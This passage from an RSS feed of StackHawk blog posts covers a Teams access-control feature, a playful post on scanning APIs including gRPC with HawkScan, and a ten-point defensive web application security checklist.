APIs, it&amp;#39;s about empowering development teams to be the guardians of their code. And that&amp;#39;s why we&amp;#39;re excited to announce support for Teams, making it easier for organizations to bring their entire crew into the fold. With Teams, you can now organize your applications based on products and services, giving team members the focus they need to secure what matters most. &lt;/p&gt;&lt;p&gt;Plus, account administrators can breathe easy knowing that team members can only access what they need, without the risk of accidental mishaps.&lt;/p&gt;&lt;h3&gt;New Role: Member &lt;/h3&gt;&lt;p&gt;Adding new users to your team can be a challenge, especially when you want to make sure your account stays organized and you don’t lose past scan results or application configurations. By giving new users the Member role, you can control which applications they have access to and ensure account-level settings such as billing and integrations are not modified. This feature makes the process of adding new members to your team simple and stress-free, allowing you to focus on your work with peace of mind.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Teams provides a robust foundation for managing access rights and visibility for developers. It enables me to more precisely control what developers can see and do within StackHawk, elevating our security and productivity. - Kerry @ Healthcare Bluebook&lt;/p&gt;&lt;/blockquote&gt;&lt;h3&gt;Organizing Applications around Teams&lt;/h3&gt;&lt;p&gt;One of the key features of Teams is the ability to organize applications in a way that fits your organization&amp;#39;s needs. Whether you&amp;#39;re grouping services for a particular product, APIs for a specific team, or applications for a particular department, Teams provides the flexibility to adapt to your organization&amp;#39;s workflow. With Teams, you can easily focus on a set of specific applications or scan results using quick filters, which is especially helpful for organizations with many applications to manage. On top of that, by assigning users the Member role to specific Teams, you can ensure that they can only access the applications they need to do their job, making your organization more secure and efficient. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;The ability to split applications into smaller, dedicated teams has been a game-changer for me. It allows me to easily assign developers to their respective projects, fostering greater efficiency and productivity across our portfolio of two - soon to be three - products. - Todd @ ICD Technology&lt;/p&gt;&lt;/blockquote&gt;&lt;h3&gt;Getting Started with Teams &lt;/h3&gt;&lt;p&gt;To start setting up Teams for your Organization, as an Owner or Admin, navigate to the User Management area in Settings. There you can invite users to your account, update roles and create new Teams.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;Invite Users and Assign Roles&lt;/h4&gt;&lt;p&gt;Before you create new Teams we suggest you update the Roles for your existing Users. To reap the full benefits of Teams we recommend assigning Users that will be added to Teams the Member role. This will ensure they only have access to Applications assigned to Teams they are added to. More specifics on how roles work in StackHawk can be found in our &lt;a href=&quot;https://docs.stackhawk.com/web-app/roles.html&quot;&gt;&lt;b&gt;&lt;u&gt;documentation&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;Create your first Team&lt;/h4&gt;&lt;p&gt;From the Teams settings screen, you can now create a Team by adding Users and Applications. Users added to a Team will have full access to Applications assigned to the Team and Users with the Member role will only be able to see Applications on Teams they are assigned to. Check out our &lt;a href=&quot;https://docs.stackhawk.com/web-app/teams.html&quot;&gt;&lt;b&gt;&lt;u&gt;documentation&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt; &lt;/b&gt;for more information on setting up Teams.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The Teams feature is now available for all StackHawk customers on our Enterprise plan, which is part of every 14-day trial so &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;sign up today!&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Brian Erickson is Sr. Product Manager at StackHawk&lt;/b&gt;&lt;/p&gt;&lt;h2&gt;📺 Watch a Quick Demo&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://fast.wistia.net/embed/iframe/zz3nsg0sky?videoFoam=true&quot;&gt;[Video]&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Learn more:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://app.stackhawk.com&quot;&gt;Start your StackHawk free trial&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/web-app/teams.html&quot;&gt;Check out our Docs
&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk ❤️ APIs]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-apis</guid><category><![CDATA[StackHawk News]]></category><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Dana White]]></dc:creator><content:encoded>&lt;p&gt;On this Valentine’s day, make sure to pop open a bottle of champagne and drink it with the one you love.  And by the one you love, I mean your API.  And by drink champagne, I mean scan every pull request with HawkScan to make sure it is free of any vulnerabilities.&lt;/p&gt;&lt;p&gt;At StackHawk, we love APIs:, GraphQL, SOAP and our own REST API that supports our platform.  And we make sure to regularly scan them all.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;StackHawk loves REST and GraphQL and SOAP&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;For our true blue and stalwart suitor (the simple API backed by a DB setup) we can two-step with them at the local sock hop (what’s a two-step and sock hop? who are these references even intended for?). Scanning a GraphQL app with HawkScan in Kubernetes is a snap.  Just throw your sweetheart (HawkScan) in your sidecar (your sidecar is a Kubernetes sidecar but also works as a metaphor)  and drive (probably to the local malt shop or something). &lt;/p&gt;&lt;p&gt;Here’s an example of our manifest.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;We’ve loaded our stackhawk.yml and custom authentication scripts in our /conf directory that we’ve volume mounted onto our pod with a config map.  We use this setup against GraphQL, SOAP and REST.  &lt;/p&gt;&lt;p&gt;We test each release of HawkScan against our vulny apps (look them up here and pick your poison &lt;a href=&quot;https://github.com/kaakaww&quot;&gt;https://github.com/kaakaww&lt;/a&gt;) to ensure it catches all the vulnerabilities (security exploit vulnerabilities not ones related to emotional maturity).  &lt;/p&gt;&lt;p&gt;But what happens when your application doesn&amp;#39;t look like a single container and looks more like this. &lt;/p&gt;&lt;p&gt;On top of that, you made a great choice to run gRPC, but you can&amp;#39;t HawkScan gRPC.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;We look like this too&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;To avoid corrupting staging and production data, we create an environment to test against a PR, as ephemeral as a kiss blown in the wind.  Our traditional REST API is backed by microservices with gRPC communication.  So to get meaningful scan results from our scanner we need all those microservices and their supporting databases (hopefully with some data) running.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;We heart Docker&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;On each PR, we launch our API and every one of its dependencies in Docker containers and scan it.  And if you’re using GitHub Actions you can throw HawkScan Action into your pipeline…look at how cute she is: &lt;a href=&quot;https://github.com/stackhawk/hawkscan-action&quot;&gt;&lt;u&gt;https://github.com/stackhawk/hawkscan-action&lt;/u&gt;&lt;/a&gt;.  Just a few lines of configurations in your workflow brings it in:&lt;/p&gt;&lt;p&gt;&lt;code&gt;
- name: RunHawkScan
        id: run-hawkscan
        uses: stackhawk/hawkscan-action@main
        with:
          apiKey: ${{secrets.HAWK_API_KEY}}&lt;/code&gt;

&lt;/p&gt;&lt;p&gt;So we spin up each of our services in their own Docker container and our API and scan them with our HawkScanner.  But that’s a lot of containers…I don’t know about you but the majority of our gRPC services are backed by databases.  So we’re spinning up at least two containers for each service and that’s a lot of containers…well at least 2 times the amount of containers as before.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;But we’ve had our eye on Kubernetes, he’s cute&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;We could just as easily spin up a bunch of pods in Kubernetes with all their dependencies and launch HawkScan as a job or pod to scan the service. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This feels like scanning a monolith.  Don’t we love microservices and tiny testing and shifting left?  I want to get back to our true blue suitor.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Our Dance Card is Not Full&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;But wouldn’t it just be easier and more in line with engineering best practices to scan each microservice?  Yeah, we see you and we’re here for you.  HawkScan is starting a beta program for scanning gRPC services, so now you can stand up each microservice on its own and scan directly, making gRPC a first-class citizen like REST, SOAP and GraphQL.  &lt;/p&gt;&lt;p&gt;So, if you heart gRPC like we do, &lt;a href=&quot;https://stackhawk.typeform.com/to/KEdCwez6&quot;&gt;&lt;u&gt;enroll in our gRPC scanning beta&lt;/u&gt;&lt;/a&gt; and we can all go off holding hands and skipping through the tulips.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;We heart you (&lt;/b&gt;&lt;a href=&quot;https://stackhawk.typeform.com/to/KEdCwez6&quot;&gt;&lt;b&gt;sign up for our gRPC beta&lt;/b&gt;&lt;/a&gt;&lt;b&gt;)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Roses are red
Violets are blue
Our API is secure
How bout you(rs)?&lt;/p&gt;&lt;p&gt;&lt;b&gt;Dana White is Senior Software Engineer at StackHawk&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Read more&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Sign up for a free trial&lt;/a&gt; of StackHawk today&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/demo&quot;&gt;Watch a demo&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/&quot;&gt;Get Started&lt;/a&gt; (Documentation)&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Web Application Security Checklist: 10 Improvements]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/web-application-security-checklist-10-improvements</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;The importance of security in web applications can’t be understated. In today&amp;#39;s digital age, web applications play a central role in our personal and professional lives. These applications are an integral part of our day-to-day interactions with the world, for better or for worse. One of the biggest concerns for most people and organizations is how these applications are storing and processing our most sensitive data. This data includes financial data, personal details, and other confidential information that users expect to be secure. As a result, web applications must remain secure and free from vulnerabilities that attackers could exploit. &lt;/p&gt;&lt;p&gt;In this article, we will discuss the key considerations for securing a web application. To make it as targeted as possible, we will provide a checklist of ten improvements that can help ensure the security of your web application. By following these best practices and taking a proactive approach to web application security, you can protect your users&amp;#39; data and ensure the integrity of your web applications.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Web Application Security Checklist&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Securing a web app requires the regular review and improvement of existing security measures. Although web security and vulnerabilities are constantly changing, the practices below are timeless and should always be implemented and applied. Here is a list of things to check when building and securing your web apps. In each point, we also are sure to mention how to implement each suggestion and which vulnerabilities are addressed by implementing it. With that, let&amp;#39;s get started.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. Input Validation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Our first security measure to implement is &lt;b&gt;input validation&lt;/b&gt;. By sanitizing and validating user input, you can prevent &lt;a href=&quot;https://owasp.org/www-community/Injection_Flaws&quot;&gt;&lt;u&gt;injection attacks&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://owasp.org/www-community/attacks/xss/&quot;&gt;&lt;u&gt;cross-site scripting&lt;/u&gt;&lt;/a&gt;. These types of vulnerabilities allow attackers to execute arbitrary code and potentially access sensitive data. These types of attacks can be easily executed, however, they can also be easily stopped.&lt;/p&gt;&lt;p&gt;The best way to ensure input validation is cohesive is by implementing measures on the front end and the back end (server) of the application. If you are only able to implement it in a single place, always make sure that the backend input is validated and sanitized. Sanitizing user input involves removing potentially harmful characters or data from user input. Validating user input involves ensuring that the input meets certain criteria, such as being in the correct format or within a certain range.&lt;/p&gt;&lt;p&gt;Many frameworks and languages have tools in place that allow users to easily implement this in their code. For instance, if you are building query strings in your code by simply taking user input and pushing it into a query, this is extremely unsafe and could easily leave you vulnerable to a SQL injection attack. A better way may be to use a parameterized query, call a stored procedure, or by using an ORM solution to access and manipulate data.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Authentication and Access Control&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Making sure that your application can only be accessed by authorized users is the second improvement on our list. By making sure that users are supposed to have access, we can exponentially cut down the number of exploits available to potential hackers. To go further, you may also want to implement access control so that users only have access to the data and services that they require, nothing more. &lt;/p&gt;&lt;p&gt;As part of the authentication implementation, implementing secure password storage is crucial. If passwords are easily attained by attackers, entry into the application is no longer a barrier. To further protect users and your application, multi-factor authentication should also be included in your authentication measure. Multi-factor authentication, or MFA, helps prevent unauthorized access to your web application by enforcing another step in the authentication process. A common way of doing this is to send a login code to a trusted device via SMS or email to make sure that the user is fully authenticated. &lt;/p&gt;&lt;p&gt;The two best ways to achieve great authentication and access control standards are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Using secure hashing algorithms for storing passwords&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Requiring regular password updates&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Implementing authentication methods, like two-factor (2FA) and biometric authentication&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Many different services and frameworks include mechanisms for ensuring that authentication, authorization, and access control standards can easily be implemented.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;3. Use of HTTPS and TLS encryption&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Our next suggestion is to ensure that your applications are secured with the use of HTTPS and TLS encryption. This approach to web application access has become a standard even for apps that are not dealing with secure data or transactions. Many customers expect that all sites will be secure, especially the ones that are handling sensitive data.&lt;/p&gt;&lt;p&gt;HTTPS, which stands for Hypertext Transfer Protocol Secure, is a more secure extension of the standard HTTP protocol. HTTPS establishes an encrypted connection between a web server and a client&amp;#39;s browser using Transport Layer Security (TLS) or its predecessor, Secure Sockets Layer (SSL).&lt;/p&gt;&lt;p&gt;By using the HTTPS protocol, you can ensure that your applications are being accessed securely. Part of this is done by restricting access to your application through HTTP and only allowing access through HTTPS. If there is an issue with an HTTPS connection, many browsers will let the user know that the site may not be secure, which helps to inform users to be cautious or even avoid the site until the security issue is fixed.&lt;/p&gt;&lt;p&gt;By implementing HTTPS and proper certificate management, you can protect data in transit from &lt;a href=&quot;https://en.wikipedia.org/wiki/Man-in-the-middle_attack&quot;&gt;&lt;u&gt;man-in-the-middle attacks&lt;/u&gt;&lt;/a&gt; and interceptions. These types of attacks are easily executed over unsecure connections and networks and can be limited by using HTTPS. Many hosting solutions make it easy to deploy and maintain your applications with secure connections using the principles mentioned above.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;4. Cross-Origin Resource Sharing (CORS)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Ensuring that your services and resources are only accessed by trusted domains is another easy way to minimize potential exploits. Creating a CORS policy allows your applications to figure out what traffic to block and which to let in, depending on where it originates from.&lt;/p&gt;&lt;p&gt;Proper CORS headers can allow or deny access from other domains to resources. This helps to prevent cross-site request forgery and cross-site scripting attacks. By properly configuring CORS headers, you can restrict access to your web application&amp;#39;s resources to trusted domains and reduce the risk of these types of attacks.&lt;/p&gt;&lt;p&gt;Many frameworks will have CORS functionality built directly into them so it is available out-of-the-box and extremely easy to configure. For example, in Spring Boot we can set up a CORS policy like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This example configuration stipulates the following: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Allows all resources to be accessed from &lt;b&gt;https://example.com&lt;/b&gt; using any of the HTTP methods &lt;b&gt;GET&lt;/b&gt;, &lt;b&gt;POST&lt;/b&gt;, &lt;b&gt;PUT&lt;/b&gt;, &lt;b&gt;DELETE&lt;/b&gt;, and &lt;b&gt;OPTIONS&lt;/b&gt;. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The &lt;b&gt;* &lt;/b&gt;value for allowed headers means that any header is allowed in the request. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The &lt;b&gt;allowCredentials&lt;/b&gt; setting is set to &lt;b&gt;true&lt;/b&gt;, allowing credentials to be sent in the request. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The &lt;b&gt;maxAge&lt;/b&gt; value of &lt;b&gt;3600&lt;/b&gt; indicates that the preflight response can be cached for up to one hour.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Using even a simple configuration like the one above can add a massive amount of security to your application. As mentioned, many other frameworks have similar configuration options available.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;5. Penetration testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Our fifth suggestion is to implement penetration testing as part of your application security measures. Penetration testing is a method of testing an application&amp;#39;s security by simulating a cyber attack. You can use it to identify vulnerabilities and weaknesses in a web application&amp;#39;s security that an attacker could exploit.&lt;/p&gt;&lt;p&gt;To perform a penetration test, a team of security experts uses specialized tools and techniques to try to gain unauthorized access to the web application and its data. They then use the results of the test to identify and fix any vulnerabilities.&lt;/p&gt;&lt;p&gt;There are three types of penetration testing: white box, black box, and grey box. Let&amp;#39;s take a look at each of the styles in more depth. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;White box penetration testing&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;White box penetration testing involves sharing full network and system information with the tester, including network maps and credentials. The testing team will essentially be given as much information as possible to save time and reduce the overall cost of an engagement. A white box penetration test is great for simulating a targeted attack while utilizing as many attack vectors as possible.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Black box penetration testing&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;In a black box penetration test, no information is provided to the tester at all. Typically the most costly and time-consuming option, the pen tester in this instance follows the approach of an unprivileged attacker, from initial access and execution through to exploitation. In most scenarios, this is how attackers would operate, without knowledge of the system&amp;#39;s internal workings. Because of the nature of this type of testing, there is a chance that potential vulnerabilities will be missed, and heavily depends on the skills of the tester executing the testing.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Grey box penetration testing&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;In a grey box penetration test, limited information is shared with the tester. Usually, this takes the form of login credentials or another mechanism for gaining access to the system without force. Grey box testing can help organizations understand the level of access a privileged user could gain and the potential damage they could cause. This can then help the organization implement the correct controls to mitigate the damage caused once an attacker has gained access to the application.&lt;/p&gt;&lt;p&gt;Adopting any of the penetration test techniques mentioned above is a great addition to your web application security practices. Many different firms and tools are available to assist with your pen testing needs.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;6. Adopt a DevSecOps Approach&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;A DevSecOps approach involves bringing security experts into the development process. These experts integrate security testing into the development and operations process at every stage of the software development lifecycle. Much of these efforts include automating security controls, especially within the CI/CD pipeline used to build the application. DevSecOps aims to build security into the web application from the start, rather than adding it as an afterthought.&lt;/p&gt;&lt;p&gt;DevSecOps uses preventive measures against injection attacks, cross-site scripting, and sensitive data exposure, to avoid introducing vulnerabilities. Many different tools can be used within DevSecOps workflows. Examples of DevSecOps tools include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;SAST (Static Application Security Testing) tools&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;DAST (Dynamic Application Security Testing) tools&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Container Security Tools&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Infrastructure as Code (IaC) Security Tools&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Vulnerability Management Tools&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Secret Management Tools&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By using the tools above, a high degree of automation and security can be added when building and maintaining web apps. These tools cover everything from scanning code and applications for vulnerabilities to ensuring that the infrastructure where the code is deployed is secure.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;7. Secure Configuration and Deployment Practices&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Properly configuring and deploying your web application is crucial to maintain its security. This includes following best practices when setting up your web server, securing your database, and implementing secure coding practices.&lt;/p&gt;&lt;p&gt;A big factor in this is making sure that your organization and team have the correct skillsets to handle a secure deployment of the application. This also will involve ensuring that the deployment checklist and steps that will take place are coordinated. Each step should take security best practices into account.&lt;/p&gt;&lt;p&gt;Making sure that the servers and database configurations are set up correctly is also important. Making sure that servers are hardened and not easily accessed by bad actors should not be overlooked and preferably audited as part of the deployment checklist. This is extremely important for database servers where sensitive data is stored at rest.&lt;/p&gt;&lt;p&gt;Many servers and CI/CD pipelines come built-in with the capabilities to adopt best practices. Be sure to research and follow the recommended security configuration as outlined in the docs provided by the vendors of these products.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;8. OWASP&amp;#39;s Application Security Checklist&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Following &lt;a href=&quot;https://github.com/0xRadi/OWASP-Web-Checklist&quot;&gt;&lt;u&gt;OWASP&amp;#39;s comprehensive list&lt;/u&gt;&lt;/a&gt; of security measures improves the security of your web application and protects against potential threats. This checklist covers a wide range of security measures for your web application, including authentication and access controls, input validation, error handling, and encryption. By following this checklist, developers can ensure that they implement the most up-to-date and effective security measures.&lt;/p&gt;&lt;p&gt;Although many of the topics are covered in this breakdown, it is good practice to make all technical participants in a project aware of the OWASP Application Security Checklist. As part of this, during code and deployment reviews, the checklist should be used as a reference to make sure that best practices are enforced.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;9. Follow Proper Logging Practices&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Monitoring and logging activity on your web application helps identify potential security threats and provides valuable information for forensic investigations in the event of a security breach. By keeping a detailed log of each application event, it is easy to trace the steps of an attacker and seal the vulnerability from being exploited in the future.&lt;/p&gt;&lt;p&gt;Proper logging practices also ensure that logs are not easily accessible to outside attackers. Just as internal investigators may use logs to identify how a breach occurred, attackers can also use data within the logs to plan an attack or see vulnerabilities.&lt;/p&gt;&lt;p&gt;When data is pushed to the logs, you should ensure that any sensitive data is masked or not included in the log statements. Data like credit card numbers, passwords, and other sensitive data should never make it into a log file without at least being masked. If an attacker gets access to a log with this type of data, it can be as detrimental as them getting access to the application itself.&lt;/p&gt;&lt;p&gt;Lastly, you should also ensure that debug log statements that print to a console or response are not pushed out into production code. They involve something as simple as a&lt;b&gt; console.log&lt;/b&gt; in a JavaScript file which may expose an error occurring that the attacker could exploit.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;10. Use a Web-Application Firewall (WAF)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Implementing a web-application firewall (WAF) helps protect your web application from common web-based attacks. Exploits such as cross-site scripting, SQL injection, and denial of service attacks can easily be warded off by a properly configured WAF. A WAF analyzes incoming traffic to your application and blocks any malicious requests.&lt;/p&gt;&lt;p&gt;Although it is not a silver bullet against all web-based exploits, WAFs are relatively simple to implement and can be a first line of defense for incoming traffic to the application. If you are deploying your application on the cloud, many cloud providers offer a WAF as part of their stack. For something more agnostic to the platform you are deploying your app to you could use &lt;a href=&quot;https://www.cloudflare.com/waf/&quot;&gt;&lt;u&gt;Cloudflare WAF&lt;/u&gt;&lt;/a&gt; or &lt;a href=&quot;https://www.wallarm.com/product/cloud-waf&quot;&gt;&lt;u&gt;Wallarm Cloud WAF&lt;/u&gt;&lt;/a&gt;, just to name a few.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Using StackHawk DAST for Web Application Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;Stackhawk&lt;/u&gt;&lt;/a&gt; is a dynamic application security testing (DAST) tool that tests the security of web applications. It identifies vulnerabilities and weaknesses in a web application&amp;#39;s security before you deploy the app to production. StackHawk can automate testing by scanning and executing potential attacks against web applications and APIs. A report is then created showing potential vulnerabilities and leads developers to potential fixes. &lt;/p&gt;&lt;p&gt;The benefits of using DAST for web application security include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Comprehensive testing:&lt;/b&gt; DAST tests for a wide range of vulnerabilities, including injection attacks, cross-site scripting, and sensitive data exposure.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Continuous testing&lt;/b&gt;: You can set DAST up to run automated tests regularly to catch potential vulnerabilities early on.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Easy integration:&lt;/b&gt; You can easily integrate DAST into your development workflow, allowing you to catch and fix vulnerabilities as part of your regular development process.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;For more information on exactly how StackHawk works, check out our &lt;a href=&quot;https://www.stackhawk.com/blog/how-does-stackhawk-work/&quot;&gt;&lt;u&gt;comprehensive blog post&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Web Application Security FAQs&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Have more questions about Web Application Security? Below we have compiled a few common questions and comprehensive answers to help you and your team keep your web applications safe.
&lt;/p&gt;&lt;h3&gt;&lt;b&gt;What Are the Security Requirements for a Web Application?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The security requirements for a web application depend on the specific needs and goals of the application. However, the following are considered the most important security requirements:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Authentication and Access Control:&lt;/b&gt; Ensure that only authorized users can access the web application and its sensitive data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data Encryption: &lt;/b&gt;always encrypt sensitive data, both in transit and at rest, to protect it from unauthorized access.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Input Validation and Sanitization: &lt;/b&gt;Prevent web applications from accepting malicious data by validating and cleaning user inputs.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;These three security requirements are closely interrelated; ensure that you implement them correctly to provide robust security for web applications. 
&lt;/p&gt;&lt;h3&gt;&lt;b&gt;How Do You Maintain Web Application Security?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Maintaining web application security involves regularly reviewing and improving upon existing security measures to ensure that your web application remains protected against potential threats. Here are some best practices for maintaining web application security: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Keep software and libraries up to date:&lt;/b&gt; Updating your web application&amp;#39;s software, libraries, and extensions regularly is essential as it protects your app from attackers who are always on the lookout for the latest security vulnerabilities and know how to exploit them.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Implement secure coding practices:&lt;/b&gt; Following best practices for secure coding helps prevent common vulnerabilities such as injection attacks and cross-site scripting. This includes validating and sanitizing user input, properly handling sensitive data, and following best practices for error handling and logging.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Regularly test for vulnerabilities:&lt;/b&gt; Security assessments and penetration testing can identify potential vulnerabilities in your web application and allow you to fix them before attackers exploit them.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Monitor and log activity:&lt;/b&gt; Regularly monitoring and logging activity on your web application helps identify potential security threats and provides valuable information for forensic investigations in the event of a security breach.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Keep regular backups:&lt;/b&gt; Having a backup system in place is a key method for safeguarding your web application&amp;#39;s data. Store backups on a separate server or device, such as a home computer or hard drive, to protect them from potential attacks on the main server. You can also store backups on a cloud-based platform, which allows for easy access from anywhere.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;To ensure the security of your web application, you must regularly review and improve upon existing security measures. This can include input validation, authentication, access control, TLS, and CORS, as well as following best practices for secure coding and deployment. Using tools like StackHawk can help identify and fix potential vulnerabilities before attackers exploit them.&lt;/p&gt;&lt;p&gt;By following these best practices and regularly reviewing and improving upon your web application&amp;#39;s security measures, you can ensure that your web application is protected against potential threats and maintain its security over time.&lt;/p&gt;&lt;p&gt;Looking to take the first step towards making your applications more secure? &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;Sign up and try out StackHawk&lt;/u&gt;&lt;/a&gt; for free! Scan your code, detect potential vulnerabilities, fix, and repeat. By including StackHawk in your CI/CD pipeline, you can ensure that every commit is scanned automatically and that your application is secure before it hits production.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;i&gt;Learn more&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Read on to see how StackHawk’s CSO, Scott Gerlach talks about “Shift Left” being more than just a buzzword &lt;/i&gt;&lt;a 